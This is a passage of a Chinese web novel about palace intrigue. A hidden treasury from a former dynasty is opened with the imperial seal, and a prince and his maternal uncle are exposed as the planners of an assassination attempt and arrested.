两人恭恭敬敬向李氏各代皇帝郑重施了一礼,但什么也没说。
十人出了这间石室,继续往前走,当到达第二个枯骨所在处时,霍凝玉又如第一个那样,找寻放钥匙的地方。果然和第一个一样。
当乾德帝把玉玺放上一按,石门又开了。
几个影卫提着灯笼走在前面。
石室中间一张桌案,桌案上一盏油灯,还有油。
赵炳煜点上,室内的光线更亮了些。
石室四面墙下全是一个个木箱子。
点了一下,二十五个。
青风打开其中一个箱子,看到里面全是画轴。拿出其中一卷,来到灯前展开。
“这是古画。”乾德帝一眼认出,“应是八百年前的名师张作仙所画。”
再看印鉴,果然没错。
“皇上,这是真迹吗?”霍凝玉现在对绘画很感兴趣,看着这样的珍宝,有些眼馋。
“能被放在这里的,自是真迹。要是让那些爱好书画的老家伙们知道这幅画的存在,估计朕都保不住。”乾德帝笑道。
“连皇上都保不住,谁还能保得住?”霍凝玉觉得乾德帝说得太夸张。
“哪个大臣立了功,正好是爱收藏名家字画的,他可以不要加官进爵,也不要金银珠宝,只要朕赏他这幅画。你说朕给还是不给?”乾德帝摸着胡子,已经能想到那个画面。
“呃,这个......”霍凝玉也无法回答,估计自己的父亲就干得出来这种事。
另几个影卫也打开几个箱子。
“皇上,全是奇珍异宝。”其中一个影卫查看了几个箱子,禀报道。
有各种古迹,书画,玉器,宝石,还有很多古董。
全是有钱也买不到的好东西。
乾德帝一一看过
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,脸上的笑容怎么也压不下去。
难怪当年赵氏闯入皇宫,没看到多少好东西,原来全被藏在这儿了。
“炳煜,这事交给你,抽个时间都给朕搬进宫,朕一辈子都没见过这么多好东西。值了啊!”乾德帝最后三个字充满感慨。
霍凝玉听出死也无憾的满足感。
“是。”赵炳煜也打起了小九九,“皇伯父,您欣赏够了,可否赏几件给侄儿?”
“你要来干什么?”乾德帝一愣,他还没到手呢,就被讨要。
“想用作聘礼。”赵炳煜答得理所当然,“今日这些好东西,是凝玉发现的,给几样应该不为过吧?”
他要东西要得理直气壮。
他知道霍凝玉不敢开口要,但他仗着在皇伯父心里的地位,脸皮厚。
“你先搬回去再说。”乾德帝没有一口应下,但语气并没有责怪之意。
霍凝玉被赵炳煜的话给羞得有点不好意思。
这是拿她当幌子,行贪墨之事。
看完第二个石室,再向第三个。
也是同样的方法打开,里面也如第二个一样,摆满了木箱,层层叠叠。
且比第二个石室的箱子多了好几倍。
霍凝玉也迫不及待打开一个。
“哇,全是银锭子。”霍凝玉被白花花的银光给晃得差点没扶稳箱盖。
其他人打开的箱子也全都是银子。
“我的天,这得有一百个箱子吧,这得有多少银子啊?”霍凝玉从没见过这么多钱。
乾德帝也被这些银子给晃花了眼,心情好到没边。
“炳煜,你刚才的要求,朕答应了。”
一高兴,乾德帝才说过没多久的话,就被他改了口。
是给霍凝玉的聘礼,他作为皇伯父,不能小气。
“谢皇伯父,这些银子,侄儿也要一箱吧,作为聘礼的压箱底银子。”赵炳煜顺杆子爬。
“噗嗤!”霍凝玉实在忍不住。
她从没见识过赵炳煜的这一面,真是太无耻了。
“你你你,你个贪得无厌的东西。”乾德帝气得大骂,但他的脸上却是挂着笑。
霍凝玉对他们伯侄之间的感情很好奇。
第175章 价值连城的宝贝多又多
几人点了数,一共一百五十个箱子。如果每个箱子里一万两银子,那就是一百五十万两。
“哈哈,好好,炳煜这些银子先放在朕的私库。”突然得这么多银两,乾德帝笑得很开怀。
点好了数,又继续向第四具枯骨所在位置前进。
打开,里面和第三个一样,也是一百五十个箱子,里面全是银子。
乾德帝的心情更加美妙了。
当到达霍凝玉几人最先来过的那扇镶有夜明珠的石门前时,乾德帝看到那条盘踞在石门上的龙,还有五颗夜明珠,发出惊叹:“这是龙傲九天图。”
霍凝玉听不懂,这图有什么特别意义。
乾德帝驻足于石门前,仰望着明珠幽光下栩栩如生的龙形浮雕,眼中的欣喜渐渐被一种深沉的敬畏与激动所取代。
他忍不住上前一步,指尖轻轻拂过冰冷的石面,如在触碰一段尘封的历史。
“龙傲九天,这是前朝开国高祖的徽记,亦是其陵寝独有的图腾。
他功盖寰宇,自诩受命于天,如强龙挣脱凡尘,直上九霄。”乾德帝的声音带着一丝不易察觉的敬重。
他顿了顿,回头看向赵炳煜和霍凝玉,目光深邃:“此图现世,又为朕所得,岂非暗合天意?”
这句话语气虽轻,却含着深意,周围随行的影卫皆屏息垂首,不敢多言。
赵炳煜神色一凛,应和:“皇上本就是真龙天子,天命所归。得见此图,不足为奇。”
霍凝玉在一旁听着,心中恍然。原来这图案背后竟有如此深远的意义,不仅仅是财富的象征,更牵扯着皇权天命的宿命。
她悄悄看了一眼乾德帝,只见他脸上那种获得巨款时的单纯喜悦已经褪去,转而是一种更深沉,更难以捉摸的神情。
那是对权力,对正统,对历史宿命的复杂情绪。
“打开吧。”乾德帝收敛心神,命令道。
这次他没有亲自动手,而是把玉玺给赵炳煜。
沉重的石门被缓缓推开,又一个比之前几个石室都要宽敞的石室出现,周围镶嵌着数个夜明珠。
霍凝玉看到又是堆积如山的箱子,比前面两个室的箱子总和还要多。
前世她飘进来只匆匆扫了一眼就走了,她也是无意间发现的,因为她感觉到里面有阴气,或许有同类在里面。
她那次进来真看到几个同类,是她接引他们出了这地下通道。
这么久过去,也不知道当时的那几个同类去了哪里。
他们就是守在这里的几个枯骨的灵魂,是士兵。
乾德帝举起手里的灯笼,映入眼帘的是数排紫檀木打造的多宝架。
上面摆放的并非金银,而是琳琅满目的奇珍异宝:鸽血红宝石,祖母绿翡翠,婴儿拳头大小的珍宝,精美的官窑瓷器,古朴的青铜礼器。
每一件都价值连城,在夜明珠柔和的光线下流淌着温润而内敛的光华。
而在石室左面,则整齐地码放着数十个略显小巧但做工更为精细的乌木箱。这些箱子质地与众不同。
影卫上前打开其中几个,顿时珠光宝气盈满石室。
里面是分门别类整理好的各色宝石,金珠,以及做工极其精巧的金器、玉器,其艺术价值和稀有程度,远胜之前那些规整的银锭。
粗略估算,这一室的珍宝,其价值恐怕犹在之前那三百万两白银之上。
乾德帝缓步过来,目光扫过这些宝物,脸上已无太多波澜,只是淡淡颔首:“收入内库,登记造册。”
那些大箱子,影卫们也打开来看。
“我的天,全是金锭。”霍凝玉又忍不住惊呼。
就她一个女子,实在受不住这刺激,前世进来,她只是魂,打不开箱子,所以没见过。
看到宝物,没有那么直观,也不知具体价值,而金银就不同了,非常刺激眼睛。
大家又一起清点箱子的数量,又是三百个箱子,全是金子。
乾德帝已经麻了。
“炳煜,你估计这些财物相当于南楚几年的税银?”
“应该相当于十年的税银。”赵炳煜精略给个数。
“哈哈,大好事,你不是说要拿一箱做聘礼吗?你也太小气了,应该俩十箱。”
得了这么多好东西的乾德帝由骂人贪得无厌到说人小气。
这态度的转变前后还不到一个时辰。
“是,侄儿就拿十箱。”赵炳煜要笑不笑的表情被霍凝玉看了个
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真切。
乾德帝假装没看见。
“凝玉,此次你立下大功。待回宫后,朕自有封赏。”
他的目光落在霍凝玉身上,带着审视,也带着一丝不易察觉的温和。
她为什么知道那个地道的入口?
想到之前赵炳煜说的她会做一些梦,都是真实的,或许她能知道也是做梦梦见的。
这孩子是皇家的福星啊。
“皇上,这里有门可以出去。”霍凝玉走到一个位置站定。
她又找到放钥匙的地方,赵炳煜把玉玺放上一按,开了,且这个石门比前面几个石室的门都要宽大。
过了门,就是一条如刚进来时的地道。
十人提着灯笼继续走。
直到走到又一个石门前,还是以玉玺做钥匙。
当石门打开,首先听到的是水声。
霍凝玉走在前面,带着大家走到洞口。
众人才看到洞口在一处凸出向外的一个巨大岩石下。
被这块岩石挡住,如果不上来,根本看不到,而洞口下是悬崖,悬崖下正是东江上游,水面波涛汹涌。
这出口位置选得真是绝妙,得天独厚。
“皇上,那些财宝应该就是从江面上吊上来的,入口只能供一人通行,应该拿不上去那么多东西。”霍凝玉早就分析过。
“嗯,那些东西李氏王朝应该是为后人准备的,只是最后玉玺没能拿走,开不了宝库,从此就销声匿迹了。”乾德帝想通了其中意义。
李氏王朝经历过辉煌时期,积下不少财富,藏了一些起来,以备不时之需,实属正常。
“还有一种可能,皇权在传承时,出现帝王突然驾崩,没来得及告之继位者。
不然后期出大乱时,为何不拿出来用?如果拿出来用了,我赵氏想夺下江山基本不可能。”赵炳煜有不同意见。
乾德帝仔细回忆了一下史书,好像是有这个可能。
但有些事,史书上未必会写。因为有些史实会被当权者更改。
十人按原路返回,一道道门又用玉玺锁上。
“皇上,臣女有个想法不知当讲不当讲?”霍凝玉心里有个朦胧的想法。
“什么想法?”乾德帝温声道。
第176章 兄弟争吵
今日霍凝玉的种种表现,让他对她有了新的看法。
这姑娘是皇家的幸运之星,而且她还有一颗赤诚之心。
她不顾自身安危,在混乱的刺杀中,带着一个护卫和两个丫鬟就敢杀进来救他的孙子。
可见她与凌哲之间的感情深厚。
如果太子早早去了,单靠一个太子妃想要护住凌哲,难上加难。
他最信任的人除了炳煜,再无第二人,如果他们夫妻能尽心护住凌哲,以后凌哲的路可能走得不会那么艰辛。
他要好好计划一下了。
“西凉太子**,臣女猜测他们肯定会向我南楚发起战争。
他们的国君已老,此刻其他皇子应该正忙于争储,一旦储位定下,西凉老皇帝定会腾出心思来报复。
到那时,如果西凉大举进犯我南楚,不知道多少男儿要牺牲在战场之上。
现在有这么多钱,我南楚何不建立一支最强之师,选最强的士兵,配最好的战马,用最好的武器,到时把西凉打得不敢再有来犯之心。
这样一支军队,其实不要多少人,一万人足矣,只要做到最精,最优,一定能实现臣女所想的那样。”霍凝玉大胆说出自己的想法。
乾德帝和赵炳煜听了,都眼睛一亮。
“皇伯父,凝玉说得不错。以前是没有那么多钱,现在有了这笔意外之财,完全可以实现。如果我南楚有了一把所向披靡的尖刀,不管是西凉还是北魏都不敢轻举妄动。”赵炳煜非常赞同这个建议。
乾德帝沉吟了一会儿:“好,朕就建一支前无古人的最强之师。”
“臣推荐忠勇伯钟离洛来做这件事。”赵炳煜立刻想到最合适的人选。
“朕也看好他。你给朕传个消息给他,让他三日后来见朕。”
“是。”赵炳煜向霍凝玉投去赞赏的眼神。
两人一唱一和,就此定下一件对南楚未来影响深远的大事。
十人出了洞口,看到外面天色已近黄昏,可见他们在里面起码两个时辰。
“皇上,还请让人守好这里,当时有三个人知道这里,也不知道在不在那些被抓的刺客之列。”霍凝玉提醒道。
“炳煜会安排。你别操那么多心。”乾德帝好笑道。
这小妮子操的心还挺多。
几人刚一进主殿就看到辰王在外等着求见,被林德全找借口拦住,也不知道等了多久。
“父皇,今日的刺杀一定是老二安排的。”辰王被叫进来,一看到乾德帝,连礼都没行,就激动地给霁王上眼药。
“你如何得知?”乾德帝笑了多时的脸瞬间冷了下来。
“父皇,当时好几个刺客**儿臣。您看,儿臣的胳膊被划伤了好大的口子,身上也有不少。
而老二却只受了点皮外伤,连包扎都不需要。这明显就是冲着儿臣来的。
太子被刺了一**,如果儿臣在这次刺杀中也殒命,老二就是最大的受益者。除了他,不会是别人。”辰王是被吓傻了,说话不经大脑。
他从没遇到过这么大的刺杀。
就是太子替父皇挡箭的那一次也没这么多刺客。
他虽也安排了人,但只是对赵凌哲出手,并没有对太子和父皇出手,而老二却胆子大到没边,敢直接派出大批刺客假扮西凉刺客,当他傻吗?
这么明显,谁看不出来。
“大皇兄,你少在父皇面前乱说话。
我没受多少伤,那是我武功高强,那些刺客只有被我斩杀的份,近不了我的身。
你自己不学武,就怪到我头上,还给我安莫须有的罪名。”
辰王刚说完话,霁王的声音就在外面响起,一边说着一边走进来。
“见过父皇,大皇兄就是见不得儿臣好。那些刺客明显就是西凉为了替他们的太子报仇而来的,怎么也牵扯不到儿臣头上。”霁王为自己辩解。
乾德帝在两个儿子身上来回扫视,眼神中带着失望。
两人都是一丘之貉,他不是傻子,前后进来两批刺客,禁卫里也有刺客,而且还混进去那么多。
禁卫军里的士兵都是身家清白,祖宗三代都经过调查。
西凉人想一次性混进那么多人,无论如何也做不到,何况刺客还易了容,明显替换了原来的人。
以为说几
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句话,他就相信了?真当他老糊涂了?
“父皇,他在说谎,老二的大舅舅以前是禁卫军统领,禁卫里想混几个人对他来讲不是轻而易举的事吗?”辰王抓住这点来说事,“父皇,就是老二想杀太子,再趁机把儿臣也杀了,他就再没有对手了。”
“你胡说,我大舅舅怎么可能做这么蠢的事?”霁王被激怒,大喝道。
“镇北侯是没那么蠢,但他会听你的。这一切都是你的计划。就因大家会想到他不可能利用以前的人脉偷换人,所以你才如此大胆行事。
最不可能,才是最有可能。你就是利用了这一点。”辰王也不是省油的灯,看得很明白。
没来主殿之前,他就与曾永信认真分析过,两批刺客,第一批是老二的人,第二批才是真正的西凉人。
而他安排的人根本就没参与,而是躲在暗处下黑手。不给任何人查到的机会,他才没有老二那个武夫那么蠢。
“父皇,大皇兄胡说八道,儿臣绝对没有做如此大逆不道之事。”霁王反驳。
“都给朕住口。”乾德帝一声怒喝,“都给朕滚回去,刚刚才解了禁就这么不安分。等朕查明一切,绝不轻饶。”
两人见乾德帝发怒,不敢造次,灰溜溜退了出去。
“炳煜,安排人监视他们。”乾德帝眉头深锁,淡声吩咐。
他是年纪大了,但还没糊涂。
可是他不想把孩子逼得太紧,他不希望自己的儿子因为争储而死。
他只希望自己能长寿些,等东宫世子再大些,他能平稳地把权柄传承下去,而不生乱。
哎,可惜树欲静而风不止。
“是。”赵炳煜领命。
当场就让林宇去安排。
而他则和霍凝玉一起留下陪皇上用膳。
今日经历了太多事,乾德帝的心情五味杂陈。
而真正能理解他的人只有侄儿赵炳煜。要是他的儿子们都老老实实该多好。
老大老二势同水火,现在是连表面功夫都不维持了。
只是还没等吃完饭,林宇就来了。
“有什么发现?”赵炳煜问道。
第177章 两位王爷的计谋
“头儿,辰王只与他的幕僚私下议事,说了些什么,无从探得。霁王与镇北侯也私下见面,我们的人靠近不了,也不知道他们在说些什么。”林宇一拱手。
“意料之中,继续让人盯着。今日霍县主说有一个刺客被青风一剑斩了腿,你在那些尸体里看看有没有断了腿的?”赵炳煜始终怀疑杀赵凌哲的另有其人。
那五个刺客中**两人,残了一个,还有两人还不知道藏在哪里,或者衣服一换,就在行宫里。
“是。”林宇今日一直与赵炳煜在一起,还没时间来查这事,“此次的刺客一共五百多人,而我们放进来的人只有两百多人,也就是还有近一半的人,提前就上了山,并藏在山里,伺机而动。”
他们的计划就是诱敌深入。
表面上是禁卫军在护卫整个行宫的安全,一共调了一千人。
为了给敌方提供方便,皇城司的人守在上山必经之路上盘查。他们实际在暗处也安排了人。
敌人分几批趁着月黑风高,悄悄从不同地方上了山,选的位置都很隐蔽。
而那些人的行动,早被皇城司的人看到,也估了数,并没有五百人之多。
这说明很早之前就有一批人上山藏匿起来,全都是武功高强之人。
而赵炳煜是七月初四回来的,西凉细作得到他们的太子**的消息也只会是那一日,要想提前进山藏好,是不可能的。
又一个证据证明是某位皇子搞的鬼。
“此事已经很清楚。明日我以赵壑的身份回京,好好审审,应该就清楚是谁了。”赵炳煜心里其实已有猜测。
另一边,辰王回到自己的寝殿。
曾永信已等候多时。
“王爷,怎么样?”
“老二那个蠢货,居然也去找父皇,与本王吵了一架。也不知道父皇会不会信本王。”辰王眼神阴郁。
老二胆子真大,居然敢直接刺杀太子。
蠢笨如猪。
太子那身子,能活三年就顶了天,杀他有个屁用。
赵凌哲虽是皇孙,那也是正统嫡孙,与他们这些叔伯比,身份上仍然占优势,差的就是年龄。
幼主登基,皇权容易旁落,这才是他们这些成年皇子的优势。
只有赵凌哲**,或者残了,才能一劳永逸。
所以他才选择对赵凌哲下手。
“王爷,我们只安排了五个人,腿被砍了的暗卫,属下已经处理好,绝不会让人发现。”曾永信做了一个抹脖子的动作。
同时他还把那人的左胳膊也给砍了,丢进那堆尸体里,混在一起,谁也不会怀疑。
“两个活着的,属下已经安排他们趁乱离开。”
“嗯,只要不被人查到即可。”辰王点头。他培养一个人出来也不容易,折一个少一个。
“王爷,那两人说当时霍县主带着凌哲世子躲进主殿后假山下的洞里。那个洞您可知道?”曾永信收到这个消息,也是不可思议。
“本王不知。”辰王愣了一下。
“连王爷都不知有这么个地方,霍县主是怎么知道的?”曾永信更加疑惑。
两人面面相觑。
“本王一直觉得霍凝玉有些奇怪,很多事好像有未来先知似的。你好好调查一下她。”
“是,王爷。那个洞口,我们要不要安排人去探一探?”
“不用,今日下午,父皇一直不在,就是去探那个洞了,本王估计是前朝留下来的逃生地道。
不然父皇不会下去那么久没上来,而且还让人守着,估计他想保守这个秘密。
如果以后本王问顶,那便是本王的逃生地道,最好不要让人知道。
你也不可告诉任何人,那两人你交代下去。”辰王作为皇家人,这点认知自是有的。
要是他知道里面有宝,定不会如此想。
霁王寝殿里,镇北侯于玄铮心急如焚。
“王爷,这可怎么办?有五十个暗卫被抓,赵壑肯定会审出是我们干的。”
他真是鬼迷了心窍,听从外甥的,把身家性命都赌上,准备一次性把太子,辰王和皇帝都给解决了。
西凉细作的确如他们所料行动了,同时出动两百多人。加上他们的人手,一共五百人突然发难都没能要了皇帝的命。
钟离洛带兵前来,他们竟然一点消息都没得到。
“大舅舅,现在事已至此,说这些已经迟了,现在是想办法解决问题。”霁王脸色阴沉。
他已经想明白,赵壑和父皇来了一出引蛇出动。
结果把他也引得上了钩,真是气死他了。
大皇兄为什么就没有行动?
他不是最想得到父皇的认可吗?
他明明探到大
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皇兄也安排了人行动的。
要不是有他在前面,自己也不会破釜沉舟,出动全部力量。
如果大皇兄登基,第一个要对付的就是他,那时他根本没有活路。他不得不一争到底,就看谁道高一尺。
两人同时沉默,认真思考。
“王爷,刑部大牢一下关进去这么多人,定不安稳。”于玄铮想到自己在刑部大牢里有眼线,这时正好可以派上用场。
“大舅舅的意思是在大牢里动手?不是一个两个,而是几十个。”霁王还没那么天真,一次性杀那么多人,轻易做不到。
“我有办法。”于玄铮胸有成竹。
然后于玄铮仔细把自己的计划说了一遍。
霁王听后,连连点头。
“大舅舅,就这么办,但动作要快,明日赵壑定会回京帮着刑部审案。”
翌日,赵炳煜起程回京,半路与林宇换了装扮,让一个下属换上他的衣服往东面而去,引开一些人的视线。
钟离洛押着一百多名刺客也才刚刚将他们关进大牢,赵炳煜就回来了。
犯人是走路进京的。
两人低头交流了几句。
钟离洛完成任务,带着人马离去。
赵炳煜当日就提审了五人,不管用什么刑,五人都不开口。
赵炳煜看着只剩一口气的五人,心里有点发堵。
撬不开嘴,说明这些人是死士。
“头儿,这几人应该不是细作,细作没有这般忍功。”余征丢下手里的鞭子。
又连夜审了几人,终于有开口的。
果然是西凉安插在京城和周边的细作。
细作头领得知他们的太子**,气得失了理智。
西凉安插在南楚的细作,本就是他们的太子负责。
他们最尊敬的太子**,头领一声令下,把所有人手都集中起来,打算来一次鱼死网破,怎么也要杀几个皇家人,来为太子报仇。
赵壑提审的几人,并不是他们的头领。
头领已经在战斗中,见大势已去,服毒,追随他的太子而去。
“头儿,已经亥时,还审吗?”余征今日挥鞭子,手都发软了。
“收队。”赵炳煜挥了挥手。
他们一出了刑房,就被一个不起眼的牢狱衙差目送着离开。
看着走远的赵炳煜一行,那人也悄悄离开。
第178章 两府被围
时间慢慢滑到凌晨丑时。
“走水了,走水了!”
突然,刑部大牢大起了大火,浓烟滚滚,惨叫声此起彼伏。
可就在大火刚起之时,突然有无数士兵提着水桶冲进牢里,只短短时间火势就被控制住。
钟离洛大步流星进了大牢,几个黑衣人被抓了个正着。
众人清点了一下牢里的犯人,发现只被烧**五个。
赵炳煜慢悠悠走来,后面跟着刑部尚书曹达和侍郎王正林。
难闻的桐油味有些呛人。
“赵大人真是神机灵妙算。”钟离洛向他一抱拳。
“钟离将军反应迅速,也是功不可没。”
两人互捧。
很快,几个黑衣人和看守大牢的狱卒全被带进刑房。
曹达和王正林一脸黑线。
刑部大牢是他们的管辖之地,被人伸了手,还被抓了个正着。
是他们两人失职。
王正林不用赵炳煜动手,亲自提审几个狱卒。
几鞭子下去,其中一个叫郑成的就开了口。
“大人,小的错了,小的该死。”
“老实交代,你是替谁办事?”王正林怒声问道。
“小的也不知道,今早有人找到小的,说是牢里一个人犯是他的杀父仇,而刑部却只判徒刑五年,他让小的行个方便,今晚放他进来,他要报仇,给了小的一百两银子。”郑成从怀里掏出只捂了一天的银票。
王正林看了一下票号,发现银票出自京城。
“那人长什么样?”王正林又问。
“那人带着面具,小的没见到真容。”
这回答等于没回答。但王正林做了多年刑部侍郎,自是不信他的这套说辞。
“不老实交代是吗?”王正林又让人甩了几鞭子下去。
郑成已经被打得皮开肉绽。
一个看牢房的狱卒,虽然每天都看人受刑,但他自己从没受过刑,很快就受不住,惨叫连连。
可是他还是不说实话,只重复刚才的说词。
“王大人,看来你对自己手下的人,还是太过仁慈。”赵炳煜见他只用鞭子抽就想问出实话,这种方式未免太温柔。
被嘲笑了的王正林一噎。
他平时审犯人用刑,当然用不着亲自动手。而今晚这事,不易让太多人知道,他才让自己的两个亲随动手。
他为官多年,一些事当然看得分明。
这些刺客绝对不是西凉细作那么简单。
“给我狠狠地打,如果不招,诛连九族。”王正林发了狠话。
两个亲随加大了力道,郑成最终受不住刑,晕了过去。
又被泼醒,继续打。
郑成在重刑之下,终于承受不住,招了。
是镇北侯府的幕僚安排他给那些黑衣人行方便的。
赵炳煜冷哼,果然如他所料。
继续审,又有一个招了,两人同时配合给黑衣人方便。
再审那些黑人,也有两个招了,他们是镇北侯府培养的人。
一切很快明朗,两批刺客,第一批是霁王安排的,第二批是西凉细作。
“钟离将军,把于府和霁王府围了吧。”赵炳煜轻飘飘的一句话,就定了于家和霁王的罪。
他不用禁卫军,因为于玄铮做了多年的禁卫军统领,禁卫军中有太多于玄铮的人,所以于玄铮才能做到神不知鬼不觉,换了那么多人而没引起赵胜的注意。
钟离洛带着兵在寂静的夜晚跑步前进。
那整齐划一的脚步声,在破晓之际打破了整个京城的宁静。
镇北侯府和霁王府被围的消息瞬间传遍整个京城。
当钟离洛带着人到达镇北侯府时,正看到有几辆马车在后门,正准备悄悄离去。
他立刻吩咐士兵把马车拦下。
钟离洛上前掀开一辆马车的车帘,正看到一车女人在里面。
看到他时,一个个吓得面无人色。
再掀开一辆,正是镇北侯府的老夫人坐在里面,身边依偎着两个三到五岁的孩子。
“钟离洛,你这是什么意思?”于家二爷于玄铭上前挡住钟离洛还想再掀第三辆马车的动作。
“各将士听令,于家男子全部抓入大牢,于家女眷不得出府,等候皇上发落。”钟离洛当于玄铭是无物,直接下令抓人。
“钟离洛,你凭什么抓我于家人?你是吃了熊心豹子胆了吗?我镇北侯府可是于贤妃的娘家,霁王的外祖家。”于玄铭急得大叫。
他的动作还是太慢了。
如果昨日他就先把家人安排出京就好了。
可是他想赌没被查到的可能。
“你们于家做过什么事,你心里没点
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数吗?”钟离洛冷冷道,一挥手,身后的士兵立刻上前把他架住带走。
“钟离洛,你无凭无据,你有什么资格抓人?”于玄铭被拉走过程中还在大喊大叫,“你一个新进京畿营的无名小卒,别太嚣张。”
于玄铭在京畿营多年,也才统军两万,只是正五品的定远将军,而钟离洛只是区区一个武状元,才短短时间就混到了正四品忠武将军,还封了爵位。
当知道的那一刻,他嫉妒得要命。
凭什么一个无名小卒能得圣上这么看重,而他还上过战场,杀过敌,还是霁王的亲舅舅,却连一个初出茅庐的小子都不如。
唯一的原因就是他是霁王的亲舅舅,镇北侯府一直遭圣上打压,不让于家有太多权势。
于家想要更进一步,只有霁王登基才有可能。所以于家铤而走险。
钟离洛看着一个个被抓的于家男丁被带走,没有半点情绪波动。
不作死就不会死。
想要荣华富贵就用真本事去挣,走歪门邪道,最终只会把自己送进鬼门关。
他就是例子,大伯母那样害他,他都能逢凶化吉,因为他走的是正道,才得老天眷顾。
他又转到霁王府,霁王府的主子都去了华云山。
只有两个侧妃和霁王的两个庶子庶女在府里。
“你们好大的胆子,这是霁王府,不是你们随便可以冒犯的。”一个姓罗的侧妃被管家请出来顶事,嚣张叫骂。
钟离洛理也不理,只安排士兵把整个霁王府围了,但并没有进去。
“你凭什么带兵围我霁王府?“罗侧妃找钟离洛理论。
霁王不在府里,她不知道霁王犯了什么事,心里发慌,但也要仗着身份嚣张几句。
“罗侧妃,你还是乖乖待在府里,如若不然就进大牢里待着。”钟离洛直接威胁。
他对女人没有耐心。
京中各府都关紧大门,同时又悄悄派人打听。
华云山发生的事,已经传回京城,但表面传的都是西凉细作刺杀皇族。
其他消息没有。
可今日一早朝廷却是把于府和霁王府都围了,这就让人不得不深想了。
那些与这两府有关系的人都战战兢兢。
赵炳煜一夜没睡,城门一开就打马出了城,直往华云山而去。
第179章 你太让朕失望了
赵炳煜一来,正好遇到霁王想出行宫,且脸色难看。
后面跟着于玄铮。
“霁王殿下,镇北侯,你们这是要去哪儿?”赵炳煜只是淡淡拱了拱手,站在路中间,挡住两人去路。
“给本王闪开。”霁王一看到赵炳煜就目露凶光。
昨晚的计划失败了,就是可恶的赵壑联合钟离洛来了个将计就计,让他们安排的人自投罗网,被抓了个现行。
他刚刚收到消息,正打算回京周旋。再想办法把自己摘干净。
事已至此,他不得不弃车保帅了,刚刚和大舅舅吵了一通,达成协议。
“霁王爷,镇北侯,还是随本官去见见圣上吧。”赵炳煜反而张开双臂把两人都拦住。
“好大的胆子,连本王的路都敢拦,你是吃了熊心豹子胆吗?”霁王毫不客气,抽出腰间配剑就向赵炳煜刺来。
赵炳煜当仁不让,一脚踢出,把刺来的剑踢开。
霁王见赵炳煜居然如此大胆,敢与他动手,火气更盛,剑起剑落,全是杀招。
赵炳煜见他想来硬的,也不客气,抽出长剑,与之缠斗了起来。
霁王的武功与赵炳煜比,差的不是一点半点,只斗了二十几招,就被赵炳煜的长剑直指心脏要害。
“赵壑,你好大的胆子。你知不知道你在做什么?”霁王狠声道。
不过是父皇身边养的忠狗罢了,居然敢如此以下犯上,就不怕以后父皇去了,再无人给他撑腰,到时死无葬身之地。
“请与臣去见圣上。”赵炳煜毫无温度的话,表达的还是先前的意思。
“本王要是不去呢?”霁王仗着身份,不为所动。
“那就别怪臣不客气了。”赵炳煜一挥手,“带走!”
几个下属上前直接架住霁王。还有几个架住于玄铮。
赵炳煜强行将两人带到乾德帝住的主殿。
“臣参见皇上。”赵炳煜一礼。
抬起头来时,眼里的血丝被乾德帝看了个真切,就知他昨夜忙了一宿没睡。
“父皇,赵壑以下犯上,居然敢与儿臣大打出手,还将儿臣架住。”霁王叫嚣着用力挣脱钳制。
乾德帝只是冷冷扫了他一眼。
“皇上,臣昨晚连夜审了几个刺客,果然是西凉细作举全部力量,想与我南楚皇室玉石俱焚。
昨夜,臣与忠勇伯设下一计,又抓获了几个黑衣刺客。竟有人买通狱卒,想把大牢里的人犯全部烧死。
好在救火及时,只烧**五名人犯。
经刑审,查明是镇北侯府派人所为。
十五那日的刺客第一批就是镇北侯府私下培养的人。
这是供词,请皇上过目。”赵炳煜把供词呈上。
而听了这些话的于玄铮和霁王都目瞪口呆。
赵壑竟如此迅速就审出了结果。
“父皇,赵壑一定是搞错了。这怎么可能?”霁王被吓得扑通跪下,还想狡辩。
乾德帝没有理他,只是面若寒潭,认真看供词。
于玄铮也跪下,一身冷汗早已布满全身。
完了,完了,镇北侯府完了。
乾德帝看完,抬起头,紧紧闭上眼睛,呼吸急促。
赵炳煜两步跨过去,扶住乾德帝的身子:“皇上,您一定要冷静。太子还需要您。”
他的话如一盆夏日的冷水,让乾德帝急促的呼吸渐渐平稳。
“赵昀霁,你好大的胆子,你三皇弟的身子已经没两年活头,你却不放过他。你还想要朕的命。你太让朕失望了。”乾德帝终于缓过来,他没有大发雷霆,而是悲凉地看着跪在面前的儿子。
这个儿子脑子没有老大聪明,经常被老大压一头,他时常为了帮一帮他,故意打压老大。
他却蠢笨得看不出来,还敢行如此大逆不道之事。
“父皇,儿臣绝对没有弑君之心。儿臣对天发誓。”霁王慌张道。
他只是想太子早些去,他与大皇兄好争个高下。他有于家做后盾,优势更大。
眼看着投向辰王的人越来越多,他怕到时**的都不知道,所以才行此险招。
不然他手里的势力会越来越少。
“你看看吧。”乾德帝已经失望到底,不想多说废话,把供词给他看,让他死个明白。
霁王颤抖着手接过,一页页看过。
最后颓废的跌坐在地。
于玄铮也接过去看。
他培养出来的人,都是死士,花了不知多少精力和钱财才培养出来的,主家让他们死,他们都不会眨一下眼,在赵壑手里居然招了。
“皇上,臣知错。”于玄铮匍匐在地,“一切都是臣所为,与霁王无关。臣想替霁王分忧,自作主张。”
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能保一个是一个。
只要霁王还在,还有东山再起的可能。
“朕的镇北侯,真是有钱啊,居然能培养出如此多的死士,你是在帮霁王分忧还是想以后夺朕的江山?”乾德帝冷声道。
“霁王是朕的儿子,他有多大能耐,朕清楚得很。你们于家野心勃勃,想要从龙之功,再外戚干政,你们于家就成了南楚真正的主人。”
乾德帝看得很分明,霁王掌握不住他的外祖家。
他的妻族是世家,但世家不会跟着皇子**,得不偿失。
只有于家才有这个野心。
“皇上,冤枉,臣绝对没有不臣之心,臣是怕辰王以后对我们于家赶尽杀绝,臣更怕霁王走投无路,死于非命。”于玄铮急急辩解。
“你怎么就那么肯定朕的江山一定落在辰王头上?”乾德帝幽幽道。
“臣......”于玄铮无法回答。
目前就两个皇子在争斗,其他三个皇子的势力都弱了太多,根本没有一争之力,除了辰王再无他人。
太子最多活两年,东宫世子才七岁,幼主继位,才更可能外戚专权。
这么明显的事,谁都知道,但谁也不敢说出来。
“父皇,都是儿臣的错,儿臣被鬼迷了心窍。儿臣知错。“霁王连连叩头认错。
“你知道错了,可你已经犯下大错,晚了。
赵壑,把人都回京吧。
于家直接查抄,赵昀霁先圈禁于霁王府,等查清一切,再行处置。
清查霁王一派官员,按律处置。
于贤妃即日打入冷宫。”乾德帝一条条下令。
深深的无力感袭上他的心头。一出诱敌之计,却把自己的儿子也套进去了。
赵炳煜让下属把两人的武器都卸了,五花大绑后带出了主殿。
乾德帝深吸一口气,从椅子上站起来,身子晃了晃。
赵炳煜立刻扶住。
